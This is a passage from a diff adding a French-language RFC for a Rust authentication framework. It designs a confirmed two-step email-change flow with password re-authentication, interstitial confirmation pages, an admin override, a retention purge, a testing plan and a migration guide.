590 + /// Spawn the cleanup loop. First tick fires immediately, then every
591 + /// `PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS` (1 h).
592 + pub fn start(self) { /* tokio::spawn + interval, patron L35-49 */ }
593 + }
594 + ```
595 +
596 +2. **`EmailChangeService::cleanup_expired(db)` public** — c'est elle que le processeur appelle, et elle reste utilisable seule par un consommateur qui préfère un cron système, une tâche applicative ou un `DELETE` déclenché à la main. Le processeur n'est donc qu'un emballage de planification, ce qui le rend testable indépendamment de la primitive.
597 +3. **Rétention : `const PENDING_EMAIL_CHANGE_RETENTION_DAYS: i64 = 30;`** — une constante de code, **pas de variable d'environnement** (cf. Non-goals). Prédicat de purge : `expires_at < now() - 30 jours`, quel que soit l'état de la ligne (consommée, signalée, ou simplement périmée) — passé ce délai, la ligne n'a plus aucune valeur opérationnelle, la trace durable étant dans `audit_logs`.
598 +4. **Période du processeur : constante également**, `const PENDING_EMAIL_CHANGE_CLEANUP_INTERVAL_SECS: u64 = 3600;`. C'est la seule divergence assumée avec `PersonalTokenCleanupProcessor`, qui lit `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS` via `config::tasks` : la décision « aucune nouvelle variable d'environnement » prime, et la période d'une purge à horizon 30 jours n'a aucune raison d'être réglée finement.
599 +5. **Purge opportuniste conservée** dans `request_change` : avant l'`INSERT`, supprimer les lignes **de cet utilisateur** dont `expires_at < now() - RETENTION`. Coût : un `DELETE` indexé sur un chemin déjà rare (3/h par utilisateur au maximum). Elle garantit que la rétention est respectée pour les comptes actifs **même chez un consommateur qui ne démarre jamais le processeur** — ceinture et bretelles, sans lesquelles la décision de ne pas auto-démarrer la tâche laisserait des PII s'accumuler chez les consommateurs distraits.
600 +
601 +**À documenter explicitement**, exactement comme pour les processeurs existants : `app.rs` **ne démarre pas** `PendingEmailChangeCleanupProcessor`. Le point est à écrire dans le rustdoc du processeur, dans le `MIGRATION_GUIDE.md` et à proposer **en commentaire** dans le scaffold du CLI (`tools/rustwarden-cli/src/templates.rs` L358-364, à côté de `PersonalTokenCleanupProcessor`) :
602 +
603 +```rust
604 +// Purge des demandes de changement d'e-mail expirees (> 30 jours).
605 +// Le framework ne la demarre pas : decommentez pour l'activer.
606 +// PendingEmailChangeCleanupProcessor::new(db.clone()).start();
607 +```
608 +
609 +**Pourquoi purger plutôt que conserver.** `new_email` est une donnée personnelle en clair. La valeur d'audit est préservée ailleurs et durablement : `confirm_change` et `report_suspicious` écrivent chacun une ligne `audit_logs` (adresses masquées), et c'est `audit_logs` — pas une table de travail — qui est le magasin d'audit du framework. Conserver indéfiniment des adresses candidates non confirmées serait une accumulation de PII sans contrepartie.
610 +
611 +### Usage consommateur
612 +
613 +```rust
614 +use rustwarden_core::config::email::EmailConfig;
615 +use rustwarden_core::error::AppError;
616 +use rustwarden_core::services::email_change_service::EmailChangeService;
617 +use sea_orm::DatabaseConnection;
618 +use uuid::Uuid;
619 +
620 +/// Open an email-change request. Returns `Ok(())` once both emails are queued;
621 +/// `users.email` is unchanged until the change is confirmed from the page the
622 +/// emailed link opens.
623 +async fn request_email_change(
624 + db: &DatabaseConnection,
625 + user_id: Uuid,
626 + new_email: &str,
627 + current_password: &str,
628 +) -> Result<(), AppError> {
629 + // `EmailConfig::from_env` returns `Result<Self, String>` (config/email.rs L119).
630 + let email_config = EmailConfig::from_env().map_err(AppError::Config)?;
631 + EmailChangeService::new(email_config)
632 + .request_change(db, user_id, new_email, current_password)
633 + .await
634 +}
635 +```
636 +
637 +Recours opérateur, après vérification d'identité hors bande :
638 +
639 +```rust
640 +use rustwarden_core::services::email_change_service::EmailChangeService;
641 +
642 +/// Force an address as an administrator. Writes `users.email` immediately,
643 +/// revokes the target's sessions and leaves an `email_changed_by_admin` audit
644 +/// trail. `actor_id` must hold the `admin` role, or the call fails with
645 +/// `AppError::Forbidden`.
646 +async fn admin_fix_email(
647 + db: &DatabaseConnection,
648 + actor_id: Uuid,
649 + user_id: Uuid,
650 + new_email: &str,
651 +) -> Result<(), AppError> {
652 + let email_config = EmailConfig::from_env().map_err(AppError::Config)?;
653 + EmailChangeService::new(email_config)
654 + .admin_force_change(db, actor_id, user_id, new_email, None)
655 + .await
656 +}
657 +```
658 +
659 +Côté `update_profile`, le changement visible pour un consommateur :
660 +
661 +```rust
662 +use rustwarden_core::services::user_service::UserService;
663 +
664 +// Before RFC 0041: wrote users.email and cleared the verified flags.
665 +// After RFC 0041: returns AppError::Validation pointing at EmailChangeService.
666 +let err = UserService::update_profile(db, user_id, None, Some("new@example.com".into()))
667 + .await
668 + .unwrap_err();
669 +
670 +// A username-only rename is unaffected.
671 +let user = UserService::update_profile(db, user_id, Some("newname".into()), None).await?;
672 +```
673 +
674 +## Analyse de compatibilité
675 +
676 +Checklist :
677 +
678 +- [x] API existante non modifiée → les **signatures** de `UserService::update_profile`, `EmailValidationService`, `RefreshTokenService` sont inchangées. Tout consommateur **compile** sans retouche.
679 +- [x] API existante étendue avec défaut → nouveaux items publics par **ajout pur** : `models::pending_email_change`, `services::email_change_service::EmailChangeService` (dont `admin_force_change` et `cleanup_expired`), `tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor`, quatre templates d'e-mail, **cinq** routes dans `auth_api_routes()` (`POST /email-change`, puis `GET` + `POST` sur `confirm/{token}` et sur `report/{token}`).
680 +- [x] API existante modifiée ou supprimée → **breaking comportemental** : `update_profile` renvoie désormais `AppError::Validation` au lieu d'écrire une nouvelle adresse. Pas de rupture de compilation, rupture d'exécution **volontaire et explicite**.
681 +- [x] Nouveau comportement par défaut → oui, sans feature flag (c'est un correctif de sécurité et de disponibilité). Aucun consommateur ne peut « rester en v1 » : la v1 n'a jamais été publiée.
682 +- [x] Changement de schéma DB → migration `m20260919_000011_pending_email_changes`, `up` = `create_table` + index, `down` = `drop_table` → **réversible**, sans réécriture de table existante.
683 +- [ ] Changement de format sérialisé → **non**. Le JSON du profil (`profile.rs` L121-125) garde les mêmes clés ; après RFC 0041 `email_verified` ne bascule plus à `false` sur un changement — un consommateur qui affichait « vérification en attente » après édition du profil n'a simplement plus ce cas.
684 +
685 +### Par rapport à la v1 (RFC 0038) — différentiel de comportement
686 +
687 +| Sujet | v1 (RFC 0038, non diffusée) | v2 (cette RFC) |
688 +|---|---|---|
689 +| Écriture de `users.email` | immédiate | **seulement après confirmation explicite** sur la page ouverte par le lien |
690 +| `email_verified` pendant l'attente | `false` (compte dégradé) | `true` (compte intact) |
691 +| Faute de frappe | lock-out définitif, recours admin obligatoire | la demande expire, **le compte n'a jamais bougé** |
692 +| Session volée (sans mot de passe) | changement appliqué | **refusé** : re-auth mot de passe obligatoire |
693 +| Ancienne adresse | alerte sans action | information **+ lien de signalement** |
694 +| Sessions après changement | conservées | **refresh tokens révoqués** |
695 +| Point d'entrée utilisateur | `UserService::update_profile` | `EmailChangeService::request_change` |
696 +| Recours administrateur | `PUT /admin/users/{id}` → écriture directe, effet de bord d'`update_profile`, sans trace dédiée | `EmailChangeService::admin_force_change` — **explicite, réservé au rôle `admin`, tracé dans `audit_logs` + `on_audit_event`, sessions de la cible révoquées** |
697 +| Déclenchement du changement | `GET` sur le lien de validation (préchargeable par une passerelle) | **page interstitielle + `POST`** : aucun `GET` n'écrit |
698 +| Purge des demandes de changement de mot de passe | appel `invalidate_on_email_change` **côté UI**, à l'édition du profil | appel **côté core**, dans `confirm_change` et `admin_force_change` |
699 +| Schéma | inchangé | une table + un processeur de purge (non démarré par défaut) |
700 +
701 +### Impact sur les RFC voisines
702 +
703 +- **RFC 0040** (`authenticate_user` honore `validation_email_required`) : compatible, et même **complémentaire**. Une adresse confirmée arrive `email_verified = true`, donc aucun blocage de login n'est introduit. Le couplage « changement d'e-mail ⇒ prochain login refusé » décrit dans `MIGRATION_GUIDE.md` **disparaît**.
704 +- **RFC 0036** (`Username`) : intacte. Le rename de username passe toujours par `Username::parse` (`user_service.rs` L261) sur un vrai rename uniquement.
705 +- **RFC 0037 / 0039** : sans interaction.
706 +
707 +## Alternatives considérées
708 +
709 +### Alternative A (**retenue**, acceptée le 2026-09-19) : table `pending_email_changes` + service dédié + double notification
710 +
711 +**Pros**
712 +
713 +- Supprime **la classe entière** des lock-out par changement d'adresse : rien n'est écrit tant que la possession n'est pas prouvée. Une faute de frappe expire en 24 h sans la moindre conséquence.
714 +- Exige le mot de passe : une session volée seule ne déplace plus l'identité du compte.
715 +- L'adresse arrive **vérifiée** : plus de fenêtre `email_verified = false`, donc plus d'interaction négative avec la RFC 0040.
716 +- L'ancienne boîte reçoit un moyen d'**agir** (signalement), pas seulement un constat.
717 +- Point d'entrée unique et nommé (`EmailChangeService`) : tous les consommateurs convergent, la logique ne se duplique plus dans chaque UI.
718 +- Révocation des refresh tokens alignée sur le contrat déjà en vigueur pour les changements de mot de passe.
719 +
720 +**Cons**
721 +
722 +- La RFC la plus lourde du train, et les arbitrages du 2026-09-19 l'ont alourdie : migration + modèle + service (dont `admin_force_change`) + **5 routes** + pages interstitielles HTML sans templating + 4 templates d'e-mail × 6 locales + processeur de purge + retrait du code v1.
723 +- **Trois** étapes visibles pour l'utilisateur (demande, clic sur le lien, confirmation sur la page) au lieu d'une ; l'UI actuelle n'en expose aucune (d'où l'adaptation minimale + un chantier UI ultérieur). La troisième étape est le prix payé pour l'immunité au préchargement des liens.
724 +- Une table de plus à faire vivre (rétention, PII) et une tâche de fond de plus dans le catalogue — non démarrée par défaut, donc un point de documentation supplémentaire.
725 +- Un administrateur ne peut plus corriger une adresse via `update_profile` : il doit appeler `admin_force_change`. C'est un changement d'appel pour les consommateurs qui exposaient `PUT /admin/users/{id}` — le coût réel de la décision n° 1, assumé en échange d'une capacité tracée au lieu d'un effet de bord.
726 +
727 +### Alternative B : garder la v1 et ajouter un simple « annuler » dans l'alerte à l'ancienne adresse
728 +
729 +L'adresse est écrite immédiatement, mais le mail à l'ancienne boîte porte un lien de rollback qui restaure l'adresse précédente et remet `email_verified = true`.
730 +
731 +**Pros** : diff plus petit (une table de rollback ou une colonne `previous_email`), conserve le flux `update_profile` actuel, ferme le scénario « session volée » *a posteriori*.
732 +
733 +**Cons** : **ne corrige pas le cas dominant**, la faute de frappe — l'ancienne boîte est souvent celle que l'utilisateur ne consulte plus, et le lien de rollback y part quand même. Entre l'écriture et le rollback, le compte est en `email_verified = false` : reset password et login pointent vers une adresse non prouvée. Introduit un état « adresse précédente » à maintenir, avec ses propres questions d'expiration. On paie une complexité comparable pour une garantie strictement plus faible.
734 +
735 +### Alternative C (ne rien faire / garder la v1 telle quelle)
736 +
737 +**Pros** : zéro coût, zéro risque immédiat, la v1 est déjà écrite, testée et documentée (`CHANGELOG.md`, `MIGRATION_GUIDE.md`, `SERVICES_REFERENCE.md`). Elle ferme bien le trou d'origine (le flag vérifié ne suit plus l'adresse).
738 +
739 +**Cons** : on publie sciemment un mode de panne que notre propre guide de migration qualifie de *« lock-out définitif sans recours self-service »*, avec pour seule parade une recommandation de double saisie **à réimplémenter dans chaque consommateur**. La fenêtre de substitution sans compatibilité ascendante (1.1.0 non coupée) se referme définitivement. Le scénario « session volée » reste ouvert. Dette garantie : la v2 devra être faite un jour, mais alors avec une migration de comportement pour les consommateurs déjà en production.
740 +
741 +### Alternative D : déléguer entièrement aux consommateurs (helper documenté, pas de service)
742 +
743 +Le framework refuserait le changement d'e-mail et publierait un « recipe » dans la doc ; chaque app (Gitrust, `rustwarden-ui`, headless) implémenterait sa table et ses mails.
744 +
745 +**Pros** : zéro surface d'API nouvelle dans `rustwarden-core`, zéro migration imposée, chaque app choisit sa politique.
746 +
747 +**Cons** : contraire à la raison d'être du framework — l'authentification et la gestion d'identité sont exactement ce que `rustwarden-core` centralise. Garantit la divergence entre consommateurs sur une primitive de sécurité, et donc des trous de sécurité inégaux. Multiplie par N le coût des 6 locales et des templates. Rend impossible un audit centralisé (`audit_logs`, `on_audit_event`).
748 +
749 +## Scénarios explicités
750 +
751 +### « J'ai perdu l'accès à mon ancienne boîte »
752 +
753 +**C'est le cas d'usage principal, et il fonctionne.** L'utilisateur est connecté (ou peut se connecter : son adresse courante est toujours `email_verified = true`, la RFC 0040 ne le bloque pas). Il connaît son mot de passe, donc `request_change` passe. Le lien de confirmation part vers la **nouvelle** boîte — celle qu'il possède. Il l'ouvre, confirme sur la page qui s'affiche, l'adresse change.
754 +
755 +L'information envoyée à l'ancienne adresse part dans le vide : elle rebondit ou reste non lue. **Aucune conséquence** : elle n'est ni un accusé de réception requis, ni un second facteur. Un bounce détecté par le service IMAP n'a pas à empêcher la confirmation.
756 +
757 +### « J'ai perdu l'accès à mon ancienne boîte **et** j'ai oublié mon mot de passe »
758 +
759 +Impasse self-service, **par construction et volontairement**. Le flux de reset (`PasswordResetService::request_reset`, `password_reset_service.rs` L102) envoie le lien vers l'adresse **stockée**, c'est-à-dire l'ancienne. Sans mot de passe et sans ancienne boîte, il ne reste aucun facteur à prouver : accorder le changement reviendrait à donner le compte à quiconque le demande.
760 +
761 +**Recours : l'administrateur**, après vérification hors bande de l'identité. C'est le même contrat que pour n'importe quel compte sans facteur récupérable. Le chemin est désormais **tranché et nommé** (décision n° 1 du 2026-09-19) : `EmailChangeService::admin_force_change(db, actor_id, user_id, new_email, hooks)`, réservée au rôle `admin`, qui écrit l'adresse sans confirmation, révoque les sessions de la cible et laisse une ligne `audit_logs` `email_changed_by_admin` (§ « `admin_force_change` — séquence et garde-fous »). Ce chemin **doit** être documenté dans le `MIGRATION_GUIDE.md` : c'est la question n° 1 que posera le support.
762 +
763 +### Course sur la même adresse cible
764 +
765 +Alice et Bob demandent tous deux `shared@example.com`. Les deux demandes sont créées : la vérification d'unicité de `request_change` ne voit encore aucun compte propriétaire. Alice confirme la première : `users.email` d'Alice devient `shared@example.com`.
766 +
767 +Bob clique ensuite. `confirm_change` re-teste l'unicité (étape 5) et échoue :
768 +
769 +> `This email address is no longer available. Request the change again with a different address.`
770 +
771 +Le message est **volontairement neutre** : il ne nomme pas le compte qui détient désormais l'adresse. La ligne de Bob n'est **pas** marquée `used_at`, donc si Alice libère l'adresse avant expiration, le lien de Bob fonctionne encore. La contrainte `UNIQUE` sur `users.email` ferme la fenêtre de course résiduelle entre le `SELECT` et l'`UPDATE` : l'erreur SeaORM correspondante est traduite en ce même `Validation`, jamais en 500.
772 +
773 +## Testing plan
774 +
775 +### Tests unitaires (sans DB)
776 +
777 +- `hash_token` : SHA-256 hex, 64 caractères, déterministe, différent pour deux entrées (patron des tests existants de `email_validation_service`).
778 +- Limiteur : `new_with_limiter` isole du `OnceLock` de processus ; `new` partage le limiteur de processus ; le budget `email_change:{user_id}` est **distinct** de `email_verify:{email}` et `pwd_reset:{email}`. Reprendre les trois tests de [`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L433-495.
779 +- `Model::is_expired` / `is_used` / `is_pending` : table de vérité complète (4 combinaisons).
780 +- Rendu des **quatre** templates d'e-mail : `render_html()` `Ok`, `render_text()` non vide, pour les **6** locales, et l'adresse candidate apparaît **masquée** dans `email_change_notice` comme dans `email_change_by_admin`.
781 +- Rendu des **pages interstitielles** (fonction de construction HTML pure, testable sans DB ni serveur) : la sortie contient `<form` avec `method="post"`, un `<button`, **aucune** balise `<script`, **aucune** URL absolue vers une ressource externe, et le token n'apparaît pas en clair dans le corps visible ; rendu `Ok` pour les 6 locales et sans `I18nService` (chaînes de repli).
782 +
783 +### Tests d'intégration (DB de test, patron `user_service::tests` L690-695)
784 +
785 +Happy path :
786 +
787 +1. `request_change` avec le bon mot de passe → une ligne `pending_email_changes` (`used_at IS NULL`), **`users.email` inchangé**, `email_verified` toujours `true`, deux lignes `email_queue` (`"email_change_validation"` vers la nouvelle adresse, `"email_change_notice"` vers l'ancienne).
788 +2. `confirm_change(token)` → `users.email` = nouvelle adresse, `email_verified = true`, `email_verified_at` non nul, `used_at` renseigné, refresh tokens du user tous `revoked = true`, une ligne `audit_logs` `action = "email_changed"`.
789 +
790 +Cas d'erreur (≥ 3 exigés, on en couvre 8) :
791 +
792 +3. Mauvais mot de passe → `AppError::InvalidCredentials`, **aucune** ligne créée, **aucun** mail.
793 +4. Format invalide (`"not-an-email"`) → `Validation("Invalid email format")`, aucune ligne, aucun mail.
794 +5. Adresse déjà détenue par un autre compte → `Validation("Email '…' already exists")`.
795 +6. Adresse identique à l'adresse courante → `Validation`, aucune ligne.
796 +7. 4ᵉ appel dans l'heure → `AppError::TooManyRequests` avec `retry_after_secs`, aucune ligne.
797 +8. `confirm_change` avec un token inconnu / expiré (`expires_at` forcé dans le passé) / déjà consommé → trois `Validation` distinctes ; `users.email` inchangé dans les trois cas.
798 +9. **Course** : demande de B sur l'adresse que A vient de prendre → `confirm_change(B)` échoue, `users.email` de B inchangé, la ligne de B **n'est pas** `used_at`.
799 +10. Nouvelle demande alors qu'une demande est pendante → l'ancienne passe `used_at`, son token ne confirme plus.
800 +
801 +Signalement :
802 +
803 +11. `report_suspicious(report_token)` → `reported_at` renseigné, une ligne `audit_logs` `"email_change_reported"` (`level = "WARN"`), un mail par administrateur, `on_audit_event` reçu (patron `CapturingHooks` de [`auth_logging.rs`](../../crates/rustwarden-core/src/services/auth_logging.rs) L79-96).
804 +12. **Après signalement, `confirm_change` réussit quand même** — c'est le test qui verrouille la décision « alerter, pas refuser ».
805 +13. `report_suspicious` appelé deux fois → idempotent, un seul lot de mails admin.
806 +14. Token de signalement inconnu → `Validation`, aucun mail.
807 +
808 +Migration :
809 +
810 +15. `up` puis `down` puis `up` sur une base contenant des `users` : pas de perte de données, la FK cascade supprime bien les lignes pendantes quand l'utilisateur est supprimé (`UserService::delete_user`, `user_service.rs` L566-601).
811 +
812 +Hooks :
813 +
814 +16. `confirm_change` avec `hooks = Some(..)` → **`on_email_verified` reçu** (décision n° 5 : dispatch côté service, donc le test appelle le **service** directement, sans passer par un handler) **et** `on_audit_event("user.email_changed")` reçu ; avec `hooks = None` → aucun panic (patron `log_blocked_login_works_without_hooks`, `auth_logging.rs` L128-140). Le `CapturingHooks` doit enregistrer l'ordre : `on_email_verified` **et** l'événement d'audit, pas l'un à la place de l'autre.
815 +17. **`PasswordChangeService::invalidate_on_email_change` est bien appelé par `confirm_change`** (décision n° 4) : créer une demande de changement de mot de passe pendante pour l'utilisateur, confirmer le changement d'adresse, vérifier que la ligne `password_change_requests` non confirmée a **disparu**. Test symétrique pour `admin_force_change`. Variante d'échec : si l'invalidation échoue, le changement d'adresse reste appliqué (l'erreur est loguée, pas propagée).
816 +
817 +Routes — page interstitielle (décision n° 3) :
818 +
819 +18. **`GET /api/v1/auth/email-change/confirm/{token}` n'a aucun effet de bord** : après l'appel, `pending_email_changes.used_at` est **toujours `NULL`**, `users.email` est **inchangé**, `email_verified` inchangé, aucun refresh token révoqué, aucune ligne `audit_logs` ajoutée. La réponse est un `200` HTML contenant `<form` et `method="post"`. C'est **le** test qui verrouille l'immunité au préchargement des passerelles anti-phishing.
820 +19. **`POST /api/v1/auth/email-change/confirm/{token}` exécute** : mêmes assertions que le happy path n° 2.
821 +20. **`GET .../report/{token}` n'a aucun effet de bord** : `reported_at` reste `NULL`, **aucun mail administrateur** en file. Puis `POST .../report/{token}` → `reported_at` renseigné et les mails partent.
822 +21. `GET` sur un token inconnu / expiré / déjà consommé → page **`200`** HTML affichant le message d'erreur correspondant, **sans** formulaire de soumission : on n'invite pas à poster un token inutilisable. Le `200` (et non un `4xx`) est retenu pour les deux liens, par cohérence avec la page `verify-email` existante, qui sert déjà une page d'explication plutôt qu'un code d'erreur à un humain arrivant depuis sa boîte mail.
823 +22. La page rendue ne dépend d'aucun template : le test appelle **directement la fonction de construction HTML**, qui est une fonction pure `(&str, …) -> String` sans I/O, sans `Template` dérivé et sans accès disque. Un test de non-régression garde cette propriété : le module des pages ne doit importer ni `askama`, ni quoi que ce soit de `rustwarden-ui`.
824 +
825 +Recours administrateur (décision n° 1) :
826 +
827 +23. **Succès** : `admin_force_change(actor=admin, user=bob, "new@example.com")` → `users.email` de Bob = `new@example.com`, `email_verified = true`, `email_verified_at` non nul, refresh tokens de **Bob** tous `revoked = true`, refresh tokens de **l'admin intacts**, une ligne `audit_logs` `action = "email_changed_by_admin"` / `level = "WARN"` avec `user_id = admin.id` et `target_user_id = bob.id`, deux mails `"email_change_by_admin"` en file (ancienne et nouvelle adresse).
828 +24. **Refus si l'acteur n'est pas administrateur** : `actor` sans rôle `admin` → `AppError::Forbidden`, `users.email` **inchangé**, **aucune** ligne `audit_logs`, **aucun** mail. Test complémentaire : acteur inexistant → `AppError::NotFound`.
829 +25. **Trace d'audit et hook** : avec `CapturingHooks`, `on_audit_event` reçoit `kind = "user.email_changed_by_admin"`, `actor_id = Some(admin.id)`, `target = Some(("user", bob.id))` ; **`on_email_verified` n'est PAS émis** (il n'y a pas eu de preuve de possession).
830 +26. **Demande pendante consommée** : Bob a une demande en cours, l'admin force une autre adresse → la demande de Bob est marquée `used_at` et son token de confirmation ne fonctionne plus (sinon il réécrirait l'adresse posée par l'opérateur).
831 +27. **Adresse déjà prise** → `Validation`, rien n'est écrit. **Écho de l'adresse courante** → `Ok`, no-op, aucun mail (le formulaire admin renvoie tous les champs).
832 +
833 +Rétention (décision n° 6) :
834 +
835 +28. `cleanup_expired` supprime les lignes dont `expires_at < now() - 30 jours` — y compris les lignes **consommées** et **signalées** — et laisse intactes celles expirées depuis moins de 30 jours ainsi que les demandes encore pendantes. Le compteur retourné correspond au nombre de lignes supprimées.
836 +29. **Purge opportuniste** : une ligne de l'utilisateur, expirée depuis plus de 30 jours, disparaît au prochain `request_change` **du même utilisateur** ; une ligne d'un **autre** utilisateur, elle, n'est pas touchée.
837 +30. `PendingEmailChangeCleanupProcessor::new(db).start()` ne panique pas et purge au premier tick (patron des tests de processeur existants ; à défaut, test de la boucle réduit à une itération). Le test d'`app.rs` reste inchangé : **le processeur n'est pas démarré** par `start_background_tasks`, et un test de non-régression le vérifie explicitement pour qu'un démarrage automatique ne soit pas introduit par mégarde.
838 +
839 +### Tests de non-régression
840 +
841 +- **Le code consommateur pré-RFC compile sans warning** : la signature d'`update_profile` est identique. Un test le vérifie en appelant les quatre formes `(Some, Some)`, `(Some, None)`, `(None, Some)`, `(None, None)`.
842 +- `update_profile(db, id, None, Some(<adresse courante>))` → **`Ok`**, aucun changement, aucun mail (le formulaire profil de `rustwarden-ui` renvoie toujours le champ).
843 +- `update_profile(db, id, None, Some(<autre adresse>))` → `AppError::Validation` dont le message **contient** `EmailChangeService` (contrat de découvrabilité de l'erreur).
844 +- Rename username seul : comportement RFC 0036 intact (`Username::parse` sur vrai rename, grandfathering préservé).
845 +- `EmailValidationService::verify_email` : inchangé, toujours idempotent.
846 +- `update_profile(db, id, None, Some(<autre adresse>))` appelé **depuis un contexte administrateur** échoue exactement de la même façon : il n'y a pas de branche dérogatoire cachée dans `update_profile`, le seul chemin opérateur est `admin_force_change`.
847 +- `auth_api_routes()` compose toujours avec un handler applicatif (test existant `auth_api_routes_compose_with_scaffolded_protected_handler`, [`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs) L99-106) ; deux tests à ajouter : `POST /api/v1/auth/email-change` est bien soumis au budget IP (11ᵉ requête → 429), et les **quatre** routes de lien (`GET` + `POST` sur `confirm` et `report`) ne le sont pas, sur le patron de `auth_limiter_separates_two_connect_ips` (L147-194) avec des IP TEST-NET **non réutilisées** (le limiteur est un `OnceLock` de processus).
848 +- Aucune des quatre routes de lien n'est montée derrière la couche CSRF : un `POST` sans en-tête ni cookie CSRF aboutit (canal machine). Un test le vérifie pour `POST .../confirm/{token}`, faute de quoi la page interstitielle serait inutilisable depuis une boîte mail.
849 +
850 +### Doctests
851 +
852 +Au moins un exemple copiable par item public : `EmailChangeService::new`, `with_i18n`, `request_change`, `confirm_change`, `report_suspicious`, **`admin_force_change`**, `cleanup_expired`, **`PendingEmailChangeCleanupProcessor::new` / `start`**. Tous ceux qui exigent une DB → `` ```rust,ignore `` avec un paragraphe rustdoc anglais décrivant le contrat, patron `RefreshTokenService::revoke_all_tokens_for_user` (`` ```no_run ``, `refresh_token_service.rs` L342-353) et des services I/O des RFC 0036/0038. Le doctest de `admin_force_change` doit montrer l'`actor_id` **et** rappeler la condition de rôle ; celui du processeur doit montrer qu'il faut appeler `.start()` soi-même.
853 +
854 +### Benchs
855 +
856 +Non nécessaires. `request_change` ajoute un bcrypt (`verify_credentials`) sur un chemin **rare et déjà limité à 3/h par utilisateur** ; `confirm_change` ajoute un `SELECT` indexé, deux `UPDATE`, une révocation de refresh tokens et un `DELETE` de demandes de changement de mot de passe — tous indexés, tous sur un chemin exécuté au plus quelques fois dans la vie d'un compte. Les `GET` interstitiels ajoutent un `SELECT` indexé. `admin_force_change` est du même ordre, sur un chemin encore plus rare. La purge s'exécute hors requête utilisateur. Aucun hot path (`login`, `refresh`, extraction JWT) n'est touché.
857 +
858 +### Baseline avant implémentation
859 +
860 +`cargo test -p rustwarden-core user_service --lib` et `cargo test -p rustwarden-core email_validation_service --lib` avant/après. Les exemples `EmailChangeService::` ne sont **pas** exécutables tant que le service n'est pas livré.
861 +
862 +### Couverture réelle (implémentation du 2026-09-19)
863 +
864 +`cargo test -p rustwarden-core --lib` : **357 tests verts**, dont **62** rattachés à cette RFC. Répartition :
865 +
866 +| Emplacement | Tests | Couvre |
867 +|---|---|---|
868 +| `services::email_change_service::tests` | 36 | items 1–14, 16–17, 23–29, les bullets `hash_token` et « budget de limiteur », plus un test **hors plan** de parité des clés de traduction entre les six fichiers de locale |
869 +| `auth::email_change_pages::tests` | 6 | item 22 et le bullet « rendu des pages interstitielles » : formulaire `POST`, pas de `<script`, pas de ressource externe, token absent du corps, page d'erreur sans formulaire, non-régression « ni Askama ni `rustwarden-ui` » |
870 +| `auth::email_change_handlers::tests` | 6 | items 18–21 et la non-régression CSRF (`POST` sans en-tête ni cookie → succès) |
871 +| `templates::email_templates::email_change_template_tests` | 4 | bullet « rendu des quatre templates » : HTML + texte dans les **six** locales, échappement des champs pré-traduits, et le fait que l'avis à l'ancienne adresse ne porte **jamais** le lien de confirmation |
872 +| `models::pending_email_change::tests` | 2 | bullet « table de vérité » `is_pending` / `is_used` / `is_expired` |
873 +| `auth::routes::tests` | 2 | bullet « budget IP » : limite sur `POST /email-change`, **absence** de limite sur les quatre routes de lien |
874 +| `tasks::pending_email_change_cleanup::tests` | 2 | item 30 (purge au premier tick ; non-régression : `app.rs` ne démarre pas le processeur) |
875 +| `services::user_service::tests` | 4 | non-régressions `update_profile` : refus, écho no-op, adresse prise, contexte admin |
876 +
877 +**Écarts assumés par rapport au plan ci-dessus** :
878 +
879 +- **Item 15 (`up` / `down` / `up` de la migration)** : non automatisé. Le dépôt ne teste aucune migration par du code ; la séquence a été jouée **à la main** sur la base de dev au moment du correctif de `chk_email_queue_email_type` (rollback de la migration 11, ré-application, vérification de `pg_get_constraintdef`). La partie qui compte vraiment — la cascade `ON DELETE` — est couverte, elle, par `deleting_a_user_cascades_to_their_pending_requests`.
880 +- **Item 17, variante d'échec** (« si l'invalidation des demandes de mot de passe échoue, le changement d'adresse reste appliqué ») : non couverte, faute de point d'injection dans `PasswordChangeService`. Le contrat est tenu par construction — l'appel est dans un `if let Err(e) = … { tracing::warn!(…) }` après l'écriture de l'adresse — mais rien ne l'empêche de régresser.
881 +- **Item 14, « aucun mail »** : couvert indirectement. Le fan-out administrateur est derrière l'écriture de `reported_at` ; compter les mails admin directement ferait courir les tests les uns contre les autres sur la base partagée.
882 +- **Tests administrateur** : ils s'auto-neutralisent (`return` silencieux) quand le seed RBAC est absent de la base de test, faute de rôle `admin` à attribuer. Sur une base seedée ils s'exécutent réellement ; sur une base nue ils ne protègent rien.
883 +- **Doctests** : tous en `` ```rust,ignore `` comme prévu, donc **ni compilés ni exécutés**. Ils documentent, ils ne vérifient pas.
884 +- **Tests de rétention** : sérialisés entre eux par un `RETENTION_GUARD` (`tokio::sync::Mutex` de portée module, partagé avec le test du processeur). `cleanup_expired` supprime les lignes périmées de **tous** les utilisateurs : sans ce verrou, deux tests de rétention concurrents se détruisent mutuellement leurs fixtures.
885 +
886 +**Défaut de production trouvé par l'exécution des tests** : la contrainte `chk_email_queue_email_type` (§ 1) rejetait les quatre types d'e-mail de la RFC — le flux entier échouait au premier `INSERT`. Corrigé dans la migration `m20260919_000011`.
887 +
888 +**Correction de cohérence** : `confirm_change` émettait son `AuditEvent` avec `target: None`, là où `report_suspicious` et `admin_force_change` nomment tous deux `Some(("user", user_id))`. Un consommateur qui route ses événements sur `target` aurait vu le chemin administrateur et pas le chemin libre-service. Aligné sur les deux autres.
889 +
890 +## Migration guide
891 +
892 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. Elle **remplace** la section « RFC 0038 » de l'entrée `1.1.0` — la v1 n'ayant jamais été publiée, aucune note de transition v1 → v2 n'est nécessaire.
893 +
894 +```markdown
895 +### API changes
896 +
897 +**Before (v1.0.x)** :
898 +`UserService::update_profile` ecrivait `users.email` immediatement. Aucun
899 +mecanisme de confirmation : l'adresse saisie devenait l'adresse du compte.
900 +
901 +**After (v1.1.0 — RFC 0041)** :
902 +Le changement d'adresse est en **deux temps**. Tant que le lien envoye a la
903 +nouvelle boite n'est pas suivi, **rien ne change en base** : l'adresse
904 +courante reste celle du compte et reste verifiee.
905 +
906 +\`\`\`rust
907 +// Nouveau chemin
908 +use rustwarden_core::services::email_change_service::EmailChangeService;
909 +
910 +EmailChangeService::new(email_config)
911 + .request_change(&db, user_id, "new@example.com", current_password)
912 + .await?;
913 +// -> users.email inchange ; deux mails en file d'attente.
914 +// -> l'adresse n'est ecrite qu'apres le POST de la page de confirmation
915 +// ouverte par GET /api/v1/auth/email-change/confirm/{token}
